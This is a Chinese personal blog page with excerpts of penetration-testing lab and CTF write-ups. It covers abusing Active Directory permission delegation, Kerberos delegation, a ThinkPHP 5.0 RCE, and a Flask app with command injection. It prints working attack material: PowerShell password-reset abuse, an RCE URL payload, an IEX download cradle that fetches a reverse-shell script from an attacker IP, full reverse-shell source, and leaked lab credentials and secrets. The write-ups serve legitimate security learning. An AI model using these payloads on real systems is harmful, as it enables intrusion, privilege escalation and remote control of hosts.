被拉进来当苦力导致要两天内速成深度学习并提出一个创新方案
THM打靶日寄66-Squid Game
恶意宏文件专题
THM打靶日寄65-Uranium CTF
模拟钓鱼的靶机
THM打靶日寄64-Python Playground
过完寒假了,堂堂复活
THM学习日寄63-域学习Exploiting Active Directory
1 | sed -i '1s|^|nameserver 10.200.83.101\n|' /etc/resolv-dnsmasq |
常见ad域利用技术-介绍
现在已执行了内部侦察,拿到ad结构和环境情况。这个阶段将利用配置错误执行横向与提权。其通常与持久化结合以确保不会失去新获得的位置。
Exploiting Permission Delegation利用权限委派AD可以通过permission Delegation权限委派的功能来委派权限和特权,利用委派,可以将部分特权委派给帮助团队来避免仅有少数用户可以访问AD并处理所有用户请求的情况。原则上委派应遵循最小特权原则,而这里将利用委派配置错误权限委派
对其的利用通常被称为基于
ACL的攻击:AD允许管理员配置访问控制条目 (ACE),这些条目填充了自主访问控制列表 (DACL) 。几乎任何AD对象都可以通过ACE进行安全配置,然后描述其他任何AD对象对目标对象具有的允许和拒绝权限而对于配置错误的ACE的例子:如果IT支持团队被授予了对
Domain Users组的ForceChangePasswordACE,在这种情况下,他们可以重置忘记密码的员工的密码,但同时可以重置特权账户的密码,如属于Domain Admins组的账户,本质上允许特权提升ACE访问控制条目的利用滥用ACE的数量很多,可以参考bloodhound的文档,以下是几个常用的:
ForceChangePassword:在不知道用户当前密码的情况下设置其当前密码AddMembers:将用户(包括自己的帐户)、组或计算机添加到目标组GenericAll:对对象拥有完全控制权,包括更改用户密码、注册 SPN 或将 AD 对象添加到目标组的能力GenericWrite:可以更新目标对象的任何非受保护参数。例如,可以更新scriptPath参数,其将导致用户下次登录时执行脚本。WriteOwner:可以更新目标对象的所有者。可以将自己设为所有者,从而获得对对象的额外权限。WriteDACL:可以向目标对象的 DACL 中写入新的 ACE。例如,我们可以写入一个 ACE,授予我们的帐户对目标对象的完全控制。AllExtendedRights:可以执行与目标对象相关的扩展 AD 权限的任何操作。这包括例如强制更改用户密码的能力。为了利用ACE,需要与AD交互来发出请求,可以使用
AD-RSAT Powershell cmdlet或PowerSploit
使用
bloodhound1
neo4j console start
然后启动
bloodhound,把给的那堆拖进去对于我们已经获得的起点
DomainUser@za.tryhackme.loc,研究其node info发现并没有很多权限,其可以远程桌面到THMWRK1,但这只有低权限的访问:
由于域分层,第一步就是攻击第二层的基础设施,即第二层的管理员组
tier 2 admins@za.tryhackme.loc,其对所有工作站具有管理员特权。
bloodhound提供的路径显示,域中错误的为IT支持组提供了对Domain Users组的AddMembersACE,其意味着Domain Users组中任何成员(包括我们的账户)都可以将账户添加到IT支持组中。并且该支持组对二层管理员组的成员都有ForceChangePasswordACE,其并不能说是配置错误,但与AddMembers错误结合后就可以允许我们利用ssh连上去,切到powershell:
攻击的第一步就是把当前账户添加到IT支持组:
1
Add-ADGroupMember "IT Support" -Members "[账户名]"
用以下命令来查看是否生效
1
Get-ADGroupMember -Identity "IT Support"

既然已经是支持组成员,那么就有着对二层管理员组的
ForceChangePassword的权限委派,首先选择一个该组的成员:1
Get-ADGroupMember -Identity "Tier 2 Admins"

这里ssh连接的显示有问题,
-参数都没有显示出来1
2$Password = ConvertTo-SecureString "[新密码]" -AsPlainText -Force
Set-ADAccountPassword -Identity "[幸运挑选的管理员组成员]" -Reset -NewPassword $Password如果拒绝访问是因为当前权限还没有在域中传播,
!稍作等待我等了快20分钟,可以把下面的kerberos委派看完再回来提权
此时账密
t2_melanie.davies:admin12345ABC1
ssh za.tryhackme.loc\\t2_melanie.davies@thmwrk1.za.tryhackme.loc
利用
Kerberos委派在讨论
AD委派时,通常指的就是Kerberos委派而非权限委派Kerberos委派其实际用途是使应用程序能访问托管在不同服务器上的资源,如
Web服务器需要访问托管在数据库服务器上的SQL以供其Web使用。如果没有委派,可能会使用一个AD服务账户并直接授予其对数据库的访问权限,每当Web应用进行请求时,该服务账户用于对数据库进行身份验证和检索信息也可以允许该服务账户被委派到SQL服务器服务。一旦用户登录到Web应用,服务账户将代表该用户请求访问数据库。这意味着用户只能访问他们具有相关权限的数据库数据,而无需为服务账户本身提供任何数据库特权或权限
约束与无约束
存在两种
Kerberos委派。对于最不安全的无约束委派Unconstrained Delegation,其没有对委派设置任何限制。例如,一个设置了TRUSTED_FOR_DELEGATION的用户在无约束委派配置的主机上进行了身份验证,就会生成并存储该用户账户的票据授权票证TGT。此时如果攻击者入侵该配置着无约束委派的主机,就可以迫使一个特权账户对主机进行身份验证,进而拦截生成的TGT并冒充特权服务。其案例可以参考这篇文章而为了解决此类安全问题,引入了约束委派,其限制了一个账户可以被委派到哪些服务从而在账户被入侵时限制暴露的范围
对于约束委派的利用更加复杂,例如:可以入侵一个配置了约束委派的
AD账户,知道该账户的明文密码或者NTLM哈希,可以为该账户生成一个TGT,并使用其对任何非敏感用户账户执行票据授权服务器(TGS)请求以作为该用户访问服务,即冒充一个可以访问敏感数据库的账户基于资源的委派
kerberos委派其实有三种,但基于资源的委派Resource-Based Constrained Delegation(RBCD)值得单独拿出来说。其完全改变了委派模型,即不再指定那个对象可以委派给哪个服务,而是服务指定了哪些对象可以委派给他,这使得服务所有者可以控制谁可以访问它。按照上面的例子,数据库服务指定允许Web服务账户委派访问它。对其的利用参考这篇文章
约束委派的利用
首先利用
powerSploit枚举出可用的委派:1
2Import-Module C:\Tools\PowerView.ps1
Get-NetUser -TrustedToAuth
可以看到
svcIIS账户可以委派THMSERVER1上的HTTP和WSMAN。而值得注意的是,其不仅仅只用于模拟用户访问网站,Powershell远程管理也使用这两个服务。那么一个理想的选择是冒充第一层管理员(即svcIIS账户)来提供对THMSERVER1的管理访问权限
Thunder综合内网打靶日寄
扫描打点
byd平台需要通过openvpn访问才给靶机
ip
对于
80的tp5.0,有rce:
1
/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[命令]
注意下url编码
whoami得到当前用户是NT AUTHORITY\LOCAL SERVICE,低权限的内置服务账户,应该要想办法横向先但curl不出来套一层
powershell可以curl到1
powershell+-nop+-c+"curl+http://172.16.233.2:8000"

拿到反弹shell
1
powershell+-nop+-w+hidden+-c+"IEX+(New-Object+System.Net.WebClient).DownloadString('http://172.16.233.2:8000/revshell.ps1')"
revshell.ps1如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16$client = New-Object System.Net.Sockets.TCPClient("攻击机IP", 4444)
$stream = $client.GetStream()
$writer = New-Object System.IO.StreamWriter($stream)
$writer.AutoFlush = $true
$buffer = New-Object System.Byte[] 1024
while ($true) {
$writer.Write("PS " + (pwd).Path + "> ")
$writer.Flush()
$read = $stream.Read($buffer, 0, 1024)
if ($read -le 0) { break }
$input = [System.Text.Encoding]::ASCII.GetString($buffer, 0, $read)
$output = try { Invoke-Expression -Command $input 2>&1 } catch { $_ }
$writer.WriteLine($output)
$writer.Flush()
}
$client.Close()
提权
靶机不出网
进去以后是
powershell的界面,有的地方需要强制转换为文本形式来输出,例:
由此可以看到:

但是手动提权失败

传东西上去也不行

内存注入也不行

tasklist /svc显示进程能看见360,要做免杀了
THM打靶日寄62-Advent of Cyber '24:支线T3丑陋复现
最难的re部分跳过了QAQ
THM打靶日寄61-Advent of Cyber '24:支线T2丑陋复现
阴阳碰面能不能合成阴阳龙啊
学长的任务罢了12-snakeoil
扫描打点

80扫不出什么东西
8080类似论坛之类的东西,可以发表或修改
找到一些可能有用的:


找到个操作文档之类的:
https://flask-jwt-extended.readthedocs.io/en/stable/options/
再扫一下:

大概看了一下,
users存了用户名和信息registration要改成POST,根据提示发送username和password来注册用户这里卡了一会,注意需要手动加上
Content-type: application/x-www-form-urlencoded这是表单默认的提交数据格式,否则识别不到

然后用同样的办法进
/login/secret的话可能是缺cookie,但不知道是我的还是要patrick的在文档里面能找到
cookie的格式

然后收不到返回值,可能是格式不对,或者要用patrick的?bp全责,用hackbar能做,但要放到新建的
header而非cookies里面,感觉怪怪的
拿到
secret:commandexecutionissecret呃呃,然后被提醒有个
/run,感觉要换字典了根据提示的数据格式以及
secret_key的返回值,应该是拿json传的,但bp又发力了接收不到,用curl传1
curl -X POST "http://192.168.129.5:8080/run" -H "Content-Type: application/json" -d '{"url":"127.0.0.1:80","secret_key": "commandexecutionissecret"}'

改一改
url不难发现其被拼接在curl语句后面,那么考虑截断来做到命令执行

getshell先搜集下信息
可以注意到
flask的源码
美化一下源码可以找到明文的
jwt_secret_key:NOreasonableDOUBTthisPASSWORDisGOOD密码复用登
sshlinux提权可能是前面有点麻烦,
sudo -l直接提了
学长的任务罢了11-evilbox
经典的操作,没什么好说的